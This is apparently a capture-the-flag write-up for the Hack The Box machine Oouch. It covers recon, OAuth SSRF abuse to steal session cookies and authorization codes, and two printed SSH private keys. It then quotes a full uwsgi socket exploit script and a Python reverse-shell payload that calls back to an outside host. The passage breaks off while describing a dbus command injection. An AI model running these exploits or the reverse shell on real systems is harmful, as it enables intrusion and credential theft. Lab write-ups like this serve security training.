HTB Oouch Writeup

writeup for HTB Oouch Box

Oouch Writeup

images/Untitled.png

Starting the recon with a nmap scan to scan for ports and services running on them

PORT     STATE SERVICE REASON         VERSION
21/tcp   open  ftp     syn-ack ttl 63 vsftpd 2.0.8 or later                
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                     
|_-rw-r--r--    1 ftp      ftp            49 Feb 11 19:34 project.txt
| ftp-syst:                                                                
|   STAT:                                                                  
| FTP server status:         
|      Connected to 10.10.14.185                                           
|      Logged in as ftp                                                    
|      TYPE: ASCII                                                                                                                                     
|      Session bandwidth limit in byte/s is 30000                          
|      Session timeout in seconds is 300                                   
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxVFDvWMZRJQ6DlQkjKUsp3Mz6vSQ64sDpR/hQogkUWR/lauECt86N34eRQmABl8IHGROUaH8EoNNy5ByJQk8TrHy+lD1TCKUlNyD8Cw5i4/JtS
MHYasq/3mOdkciBCyNf7vVvEtadG1EsFvTfD2mOTNGt8rj61tp8VBvDIbSq1a4+SCkjBo2c3FW4sPkI1byfypASLlwwVXv/zZ58Ff5C47MZrA2fW9TdhBlkXleqv/6jeuYEpmEQRoiTxmdfpyVkr1/w
BFs25jELQLv5DTyJyIrqT0WqHlyo5eBuax1ZEuNTxCVs2P48YxYIn5F8gfHPgSN7LzLclfAyghwe0oJp
|   256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIChK8SPfCVZj8VEE4jX8jzGbd5wB2nrxtLQkze3vxFxQ
5000/tcp open  http    syn-ack ttl 62 nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was http://10.10.10.177:5000/login?next=%2F
8000/tcp open  rtsp    syn-ack ttl 62 
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 400 Bad Request
|   FourOhFourRequest, GetRequest, HTTPOptions:                                                                                             
|     HTTP/1.0 400 Bad Request                                             
|     Content-Type: text/html                                              
|     Vary: Authorization                                                  
|     <h1>Bad Request (400)</h1>                                           
|   RTSPRequest:                                                           
|     RTSP/1.0 400 Bad Request                                             
|     Content-Type: text/html
|     Vary: Authorization                                                  
|     <h1>Bad Request (400)</h1>                                           
|   SIPOptions:                                                                                                                                        
|     SIP/2.0 400 Bad Request                                              
|     Content-Type: text/html                                              
|     Vary: Authorization                                                  
|_    <h1>Bad Request (400)</h1>                                           
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/sub
mit.cgi?new-service :                                                                                                                                  
SF-Port8000-TCP:V=7.80%I=7%D=7/7%Time=5F04929E%P=x86_64-pc-linux-gnu%r(Get
SF:Request,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h                                                                             
SF:1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCont                                                                             
SF:ent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Requ                                                                             
SF:est\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>                                                                             
SF:Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\
SF:r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\x
SF:20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Autho
SF:rization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

we find that FTP has anonymous login enabled and it contains a single file project.txt which contains the following content which suggests some kind of authorization server is running judging by the name of the machine it might by OAuth.

Flask -> Consumer
Django -> Authorization Server

Visiting the web service running on port 5000 we are prompted to login or to create a account.

images/Untitled%201.png

Registering for a account and then login in to the server, now running gobuster on web service which is running on port 5000 reveals few interesting endpoints.

===============================================================
2020/07/07 21:15:11 Starting gobuster
===============================================================
/about (Status: 302)
/contact (Status: 302)
/documents (Status: 302)
/home (Status: 302)
/login (Status: 200)
/logout (Status: 302)
/oauth (Status: 302)
/profile (Status: 302)
/register (Status: 200)

which confirms our hypotheses about OAuth implementation. Visiting /oauth reveals the hostname consumer.oouch.htb and also a procedure that needs to be followed to be able to use the server.

images/Untitled%202.png

also /contact takes input which contains a form which takes message to be sent to the admin which might be helpful and also lead to ssrf

images/Untitled%203.png

/documents is also interesting which might contain some sensitive information if we are able to become admin

images/Untitled%204.png

/profile

images/Untitled%205.png

visiting http://consumer.oouch.htb:5000/oauth/connect reveals the hostname for the web service on port 8000

images/Untitled%206.png

adding that to /etc/hosts file we can visit the web server on port 8000 and then visiting it reveals the authorization server.

images/Untitled%207.png

creating another account on the authorization.oouch.htb for creating oauth application.

images/Untitled%208.png

now monitoring the oauth procedure from our previous account we get a request with token code to connect the account.

HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Location: http://consumer.oouch.htb:5000/oauth/connect/token?code=vxF9Rkt1f5qX4AmAYY8AchFqpkbZ9g
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Vary: Authorization, Cookie

now sending this url to the /contact form and then going to http://consumer.oouch.htb:5000/oauth/login we get logged in as qtc.

images/Untitled%209.png

now we can also access /documents

images/Untitled%2010.png

now again gobusting http://authorization.oouch.htb:8000/oauth/ we get another endpoint as /applicationsvisiting /applications we get greeted with a login prompt.

images/Untitled%2011.png

using the username and password found above develop:supermegasecureklarabubu123! we are unable to login. Running gobuster again on http://authorization.oouch.htb:8000/oauth/applications/ we get another hit as /register (Status: 301) we can login there using the found usernames and password.

images/Untitled%2012.png

which is prompting us to create an application. Creating a new application while setting the redirect uri to point to our machine.

images/Untitled%2013.png

now we can use ssrf to make the admin authorize our application by making a request to the http://authorization.oouch.htb:8000/oauth/authorize/ endpoint which will get redirected to our machine with the code and session id included. After reading the documentations extensively i was able to create the correct request as

http://authorization.oouch.htb:8000/oauth/authorize/?client_id=HqdQEKHcW8DUJJ1S3bVcrX8qyUYmmbVe4NNnBm28&response_type=code&redirect_uri=http://10.10.14.84:80/&allow=Authorize&state=&scope=read+write

sending this url to /contact we get the request back to our server with sessionid and code

➜  Oouch git:(master) ✗ ncat -nlvkp 80           
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.177.
Ncat: Connection from 10.10.10.177:46244.
GET /?error=unauthorized_client HTTP/1.1
Host: 10.10.14.84
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: sessionid=rfs9zfoljt4a4owbzql6l75krmhlfr21;

setting the sessionid cookie we get the session as qtc on the authorization.oouch.htb

images/Untitled%2014.png

now making a request to /oauth/token endpoint we can get an auth token for the user qtc.

images/Untitled%2015.png

now we can access the api @ /api/get_user

images/Untitled%2016.png

after fuzzing the endpoints i get another api endpoint as /api/get_ssh which gives us the ssh key for the user qtc

images/Untitled%2017.png

we get the private ssh key as

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

now we can login to the server as the user qtc and get the user hash.

➜  Oouch git:(master) ✗ ssh -i id_rsa_qtc [email protected]
Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3
qtc@oouch:~$ cat user.txt
d30bef13a1329ebba5f7842c8ac5925a

also listing for files in the home directory we get a hint for the use of dbus

qtc@oouch:~$ ls -al
total 36
drwxr-xr-x 4 qtc  qtc  4096 Feb 25 12:45 .
drwxr-xr-x 3 root root 4096 Feb 11 18:11 ..
lrwxrwxrwx 1 root root    9 Feb 11 18:34 .bash_history -> /dev/null
-rw-r--r-- 1 qtc  qtc   220 Feb 11 18:11 .bash_logout
-rw-r--r-- 1 qtc  qtc  3526 Feb 11 18:11 .bashrc
drwx------ 3 qtc  qtc  4096 Feb 25 12:45 .gnupg
-rw-r--r-- 1 root root   55 Feb 11 18:34 .note.txt
-rw-r--r-- 1 qtc  qtc   807 Feb 11 18:11 .profile
drwx------ 2 qtc  qtc  4096 Feb 11 18:34 .ssh
-rw------- 1 qtc  qtc    33 Jul 31 07:03 user.txt
qtc@oouch:~$ cat .note.txt
Implementing an IPS using DBus and iptables == Genius?
qtc@oouch:~$

iptables is used to block the ip of the user if the user tries to perform xss type of attacks on http://consumer.oouch.htb:5000/contact

images/Untitled%2018.png

after some more enumeration we can find the config for the dbus

qtc@oouch:/etc/dbus-1/system.d$ ls
bluetooth.conf  com.ubuntu.SoftwareProperties.conf  htb.oouch.Block.conf  org.freedesktop.PackageKit.conf  wpa_supplicant.conf
qtc@oouch:/etc/dbus-1/system.d$ cat htb.oouch.Block.conf 
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->

<!DOCTYPE busconfig PUBLIC
 "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
 "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">

<busconfig>

    <policy user="root">
        <allow own="htb.oouch.Block"/>
    </policy>

        <policy user="www-data">
                <allow send_destination="htb.oouch.Block"/>
                <allow receive_sender="htb.oouch.Block"/>
        </policy>

</busconfig>
qtc@oouch:/etc/dbus-1/system.d$

hence the user www-data can send the dbus message to the user root to recieve. The webservice is running as the user www-data and in order to block any IP using iptables the command need to be executed as root. Hence what might be happening there is this.

  1. Web service detects the hacking attempt using predefined filters
  2. Web service sends a dbus message to the root user containing the IP to be blocked
  3. root user has some sort of receiver program running which receives the IP and then blocks it.

Hence we need to get a shell as www-data first in order to test the dbus functionality.

After some more enumeration we find another ssh key

qtc@oouch:~$ find .                                                        
.                                                                          
./.bash_logout                                                             
./user.txt                                                                 
./.profile                                                                 
./.bash_history                                                            
./.gnupg                                                                   
./.gnupg/private-keys-v1.d                                                 
./.bashrc                                                                  
./.ssh                                                                     
./.ssh/authorized_keys                                                     
./.ssh/id_rsa                                                              
./.note.txt                                                                
qtc@oouch:~$ cat .ssh/id_rsa                                               
-----BEGIN OPENSSH PRIVATE KEY-----                                        
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA2oh2lzXVMy8Z5ZhCNcvg1kUIxBCzQPhnCtbxEF5gBWJvX+hrm21r
3ZLekJIL1k74exZyzOVOLHXyjxb+pjWWcB2fZzcQeIEfuQeRBjiM1/g/rg5nW3t6/jBPBO
vLdWlHMCxG2usRfjxK0LohAQnYHB+NOXWDApbv2qXHDvqLoA/kKVjhYRzRPVTlh2Q9/vqE
3ZLekJIL1k74exZyzOVOLHXyjxb+pjWWcB2fZzcQeIEfuQeRBjiM1/g/rg5nW3t6/jBPBO                                                                          
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                        
-----END OPENSSH PRIVATE KEY-----                                          
qtc@oouch:~$

this suggests there might be another ssh server on the machine, listing network interfaces we find that their is a docker network

qtc@oouch:~$ ip a                                                                                                                                      
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000                                                            
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00                                                                                              
    inet 127.0.0.1/8 scope host lo                                                                                                                     
       valid_lft forever preferred_lft forever                                                                                                         
    inet6 ::1/128 scope host                                                                                                                           
       valid_lft forever preferred_lft forever                                                                                                         
2: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:62:f0 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.177/24 brd 10.10.10.255 scope global ens34
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:62f0/64 scope global dynamic mngtmpaddr  
       valid_lft 86011sec preferred_lft 14011sec
    inet6 fe80::250:56ff:feb9:62f0/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:79:ec:e1:fb brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-cc6c78e0c7d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:50:13:d7:97 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-cc6c78e0c7d0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:50ff:fe13:d797/64 scope link 
       valid_lft forever preferred_lft forever

so let’s scan the docker subnet to look for any container with ssh port open.

qtc@oouch:~$ for i in `seq 2 100`; do nc -v 172.18.0.$i 22 2>&1 | grep "open"; done
(UNKNOWN) [172.18.0.3] 22 (ssh) open

logging in to the ssh server on IP 172.18.0.3 using the found ssh key we see that we are inside the container which has web service running with a nginx frontend. Now taking a look at the nginx config

qtc@aeb4525789d8:/etc/nginx$ cat nginx.conf 
user www-data;
worker_processes auto;

pid /run/nginx.pid;

events {
    worker_connections 1024;
    use epoll;
    multi_accept on;
}

http {
    access_log /dev/stdout;
    error_log /dev/stdout;
    sendfile            on;
    tcp_nopush          on;
    tcp_nodelay         on;
    keepalive_timeout   65;
    types_hash_max_size 2048;
    include             /etc/nginx/mime.types;
    default_type        application/octet-stream;
    index   index.html index.htm;
    server {
        listen       5000 default_server;
        server_name  consumer.oouch.htb;
        root         /var/www/html;
        location / {
            include uwsgi_params;
            uwsgi_pass unix:/tmp/uwsgi.socket;
        }
    }
}
qtc@aeb4525789d8:/etc/nginx$

we see that nginx is acting as a reverse proxy and forwarding all the requests coming on port 5000 to the uwsgi unix socket which is located at /tmp/uwsgi.socket

qtc@aeb4525789d8:/etc/nginx$ ls -al /tmp/uwsgi.socket
srw-rw-rw- 1 www-data www-data 0 Jul 31 04:44 /tmp/uwsgi.socket

we also see that the unix socket is world writeable which makes it vulnerable to arbitrary code execution and we can use the following modified exploit from

https://gist.github.com/wofeiwo/9f38ef8f8562e28d741638d6de3891f6

#!/usr/bin/python
# coding: utf-8
# Author: [email protected]
# Last modified: 2017-7-18
# Note: Just for research purpose

import sys
import socket
import argparse
import requests


def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    return result


def parse_addr(addr, default_port=None):
    port = default_port
    if isinstance(addr, str):
        if addr.isdigit():
            addr, port = '', addr
        elif ':' in addr:
            addr, _, port = addr.partition(':')
    elif isinstance(addr, (list, tuple, set)):
        addr, port = addr
    port = int(port) if port else port
    return (addr or '127.0.0.1', port)


def get_host_from_url(url):
    if '//' in url:
        url = url.split('//', 1)[1]
    host, _, url = url.partition('/')
    return (host, '/' + url)


def fetch_data(uri, body):
    if 'http' not in uri:
        uri = 'http://' + uri
    s = requests.Session()
    if body:
        import urlparse
        body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
        d = s.post(uri, data=body_d)
    else:
        d = s.get(uri)
    return {
        'code': d.status_code,
        'text': d.text,
        'header': d.headers
    }


def ask_uwsgi(addr_and_port, mode, var, body=''):
    if mode == 'tcp':
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(parse_addr(addr_and_port))
    elif mode == 'unix':
        s = socket.socket(socket.AF_UNIX)
        s.connect(addr_and_port)
    s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
    response = []
    while 1:
        data = s.recv(4096)
        if not data:
            break
        response.append(data)
    s.close()
    return b''.join(response).decode('utf8')


def curl(mode, addr_and_port, payload_url, target_url):
    host, uri = get_host_from_url(target_url)
    path, _, qs = uri.partition('?')
    if mode == 'http':
        return fetch_data(addr_and_port+uri, None)
    elif mode == 'tcp':
        host = host or parse_addr(addr_and_port)[0]
    else:
        host = addr_and_port
    var = {
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'REQUEST_METHOD': 'GET',
        'PATH_INFO': path,
        'REQUEST_URI': uri,
        'QUERY_STRING': qs,
        'SERVER_NAME': host,
        'HTTP_HOST': host,
        'UWSGI_FILE': payload_url,
        'SCRIPT_NAME': '/exploitapp'
    }
    return ask_uwsgi(addr_and_port, mode, var)


def main(*args):
    desc = """
    This is a uwsgi client and LFI exploit. You can use this program to run a specific wsgi file remotely. 
    The file must exist on the server side. 
    Last modifid at 2017-07-18 by [email protected]
    """
    parser = argparse.ArgumentParser(description=desc)

    parser.add_argument('-m', '--mode', nargs='?', default='tcp',
                        help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
                        dest='mode', choices=['http', 'tcp', 'unix'])

    parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
                        help='Uwsgi server: 127.0.0.1:5000 or /tmp/uwsgi.sock',
                        dest='uwsgi_addr')

    parser.add_argument('-p', '--payload', nargs='?', required=True,
                        help='Exploit payload: The exploit path, must have this.',
                        dest='payload_path')

    parser.add_argument('-t', '--target', nargs='?', default='/exploitapp',
                        help='Request URI optionally containing hostname',
                        dest='target_url')
    if len(sys.argv) < 2:
        parser.print_help()
        return
    args = parser.parse_args()
    print(curl(args.mode, args.uwsgi_addr, args.payload_path, args.target_url))


if __name__ == '__main__':
    main()

to get a shell as www-data now we will create a reverse shell python payload which will be executed and will give us reverse shell.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.84",443));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

now executing the payload

images/Untitled%2019.png

we get a reverse shell back to our machine as www-data. Now analyzing the source code we can see that the application is using dbus to send the client ip to the host machine which is to be received by the root user to run iptables command on to block the IP address of the attacker machine.

def contact():                                                                                                            

    '''                                                                    
    The contact page is required to abuse the Oauth vulnerabilities. This endpoint allows the user to send messages using a textfield.                 
    The messages are scanned for valid url's and these urls are saved to a file on disk. A cronjob will view the files regulary and                    
    invoke requests on the corresponding urls.                                                                                                         
                                                                                                                                                       
    Parameters:                                                                                                                                        
        None                                                                                                                                           
                                                                                                                                                       
    Returns:                                                                                                                                           
        render                (Render)                  Renders the contact page.                                                                      
    '''                                                                                                                                                
    # First we need to load the contact form                               
    form = ContactForm()             
                                                                                                                                                       
    # If the form was already submitted, we process the contents                                                                                       
    if form.validate_on_submit():                                          
                                                                                                                                                       
        # First apply our primitive xss filter                                                                                                         
        if primitive_xss.search(form.textfield.data):
            bus = dbus.SystemBus()
            block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
            block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

            client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)  
            response = block_iface.Block(client_ip)
            bus.close()
            return render_template('hacker.html', title='Hacker')

we can now test for command injection here by trying to inject a command along with the ip address and then send it to the dbus. Sending the following payload using dbus-send we can confirm that there is command injection vulnerability as we have recieved the ping back to us.

